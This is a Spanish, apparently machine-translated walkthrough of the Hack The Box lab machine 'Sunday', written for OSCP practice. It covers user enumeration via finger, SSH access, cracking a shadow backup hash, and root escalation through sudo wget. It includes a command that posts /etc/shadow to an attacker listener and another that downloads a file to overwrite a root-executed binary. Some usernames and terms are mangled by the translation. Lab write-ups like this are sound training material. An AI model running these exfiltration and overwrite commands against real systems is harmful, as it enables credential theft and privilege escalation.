Hack the Box es una plataforma en línea para probar y mejorar tus habilidades en pruebas de penetración y ciberseguridad.
En esta serie de artículos mostraremos cómo los evaluadores junior completan algunas máquinas de Hack The Box en su camino hacia OSCP, una certificación muy conocida, respetada y requerida para muchos puestos de ciberseguridad. Los certificados OSCP son capaces de identificar las vulnerabilidades existentes y ejecutar ataques organizados de manera controlada. Pueden aprovechar o modificar el código de exploits existentes en su beneficio, realizar pivoting en la red y exfiltrar datos, y comprometer los sistemas debido a configuraciones deficientes.
¡Empecemos con la diversión!
Sunday
Initial Foothold
El nmap inicial muestra un servicio de finger
, que aparentemente se utiliza para consultar información sobre
usuarios en The Box. Podemos aprovechar este servicio para enumerar los usuarios válidos. Para ello, podemos usar un
guión de pentestmonkey, llamado finger-user-enum
.
El script puede ser usado con una lista de palabras. Dando un paseo por la lista de palabras de SecLists,
Creo que tenemos la mejor oportunidad con names.txt
.
perl finger-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 10.10.10.76
Encontramos los siguientes nombres de usuario válidos:
- access
- admin
- line
- message
- sammy
- sunny
La pregunta es, ¿dónde nos registramos? Después de hacer un escaneo completo del mapa, descubrimos el puerto 22022.
es en realidad un servicio de SSH: SunSSH 1.3 (protocol 2.0)
.
Si intentamos ssh como cualquier usuario, obtenemos el siguiente error:
Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1
StackOverflow al rescate (https://unix.stackexchange.com/questions/340844/how-to-enable-diffie-hellman-group1-sha1-key-exchange-on-debian-8-0).
ssh admin@10.10.10.76 -oKexAlgorithms=+diffie-hellman-group1-sha1 -p 22022
Afortunadamente, el usuario es sunny
y la contraseña es Sunday
(nombre de The Box).
Alternativamente, podríamos haber usado hydra
para forzarla.
User
Haciendo sudo -l
muestra que podemos ejecutar /root/troll
como root
sin contraseña. Desafortunadamente.
Parece que el binario no hace nada útil.
Ejecutar lse.sh
no ayudó mucho. Parece que tenemos que enumerar manualmente.
Después de dar un paseo por el sistema de archivos, encontramos /backup
, que contiene shadow.backup
.
shadow.backup
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nadie:*LK*:6445::::::
No hay acceso... LK 6445..:
nadie4:*LK*:6445:::::
Sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445:::::
soleado:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636:::::
De ese archivo, podemos obtener el hash de la contraseña para el usuario sammy
. Descifrándolo con jhon
y el
La lista de palabras de rockyou.txt
da la contraseña de Sammy: ¡coolude!
.
Ahora podemos entrar como usuario Sammy
.
Root
Ejecutar lse.sh
de nuevo muestra que podemos ejecutar wget
como usuario root
sin contraseña.
Una búsqueda rápida en GTFOBins y tenemos la forma de escalar privilegios.
- Ejecutar
ncat
en Kali:ncat -lnvp 6969 > shadow
. - Exfiltrar el archivo:
sudo /usr/bin/wget --post-file=/etc/shadow http://10.10.14.13:6969
No pude descifrar la contraseña de root, así que en su lugar exfiltré "root.txt".
Bonus
Después de ver el video de Ippsec de este Box, resulta que puedes usar wget
para sobrescribir el
root/troll
con un archivo diferente que sólo se ejecuta bash
y lo ejecuta con el usuario sunny
.
scuffed_privesc
#!/bin/bash
bash
- Como usuario
Sammy
:sudo wget 10.10.14.13:8000/scuffed_privesc -O /root/troll
. - Como usuario
sunny
:sudo /root/troll
.
Nota: El archivo root/troll
se reescribe cada 5 segundos, así que el ataque tiene que ser rápido.